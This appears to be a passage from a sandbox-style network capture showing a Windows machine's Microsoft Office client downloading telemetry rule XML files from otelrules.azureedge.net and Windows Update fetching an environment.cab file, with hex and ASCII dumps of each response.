2024-11-25 11:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:54 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 524516d5-201e-0003-0afd-3df85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110754Z-15b8b599d88qw29phC1TEB5zag00000005w0000000005d3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:54 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:54 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:54 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110754Z-178bfbc474bwlrhlhC1NYCy3kg00000007eg000000002et1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:54 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:56 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:56 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110756Z-15b8b599d88z9sc7hC1TEBkr4w00000005yg000000009kvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:56 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:56 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:56 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110756Z-178bfbc474bgvl54hC1NYCsfuw00000007cg000000004q2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:56 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:56 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:56 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110756Z-15b8b599d889fz52hC1TEB59as00000005qg00000000ghcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:56 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:56 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:56 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: def4d052-b01e-0053-1eaf-3ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110756Z-178bfbc474bgvl54hC1NYCsfuw00000007cg000000004q2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:56 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:56 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:56 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 8b201486-c01e-008d-1417-3e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110756Z-178bfbc474b9xljthC1NYCtw94000000079g000000005b8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:57 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49871	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=lRDkn92tguHwkO2&MD=4Ff31h2e HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 11:07:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f2caa7a4-1ba8-4ec5-bef7-8d156782bd1b MS-RequestId: da74449b-46ec-4377-af88-86779383f474 MS-CV: phkMht7O90qIg/ip.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 11:07:56 GMT Connection: close Content-Length: 30005
2024-11-25 11:07:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-25 11:07:57 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:58 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:58 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110758Z-178bfbc474bxkclvhC1NYC69g400000007ag000000005puw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:58 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:58 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:58 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 9c4c3b32-001e-0028-37e2-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110758Z-15b8b599d88l2dpthC1TEBmzr000000005wg000000002n9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:59 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:58 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:59 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110759Z-178bfbc474bq2pr7hC1NYCkfgg00000007gg0000000066es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:59 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:58 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:59 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110759Z-174c587ffdfdwxdvhC1TEB1c4n00000005sg00000000apyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
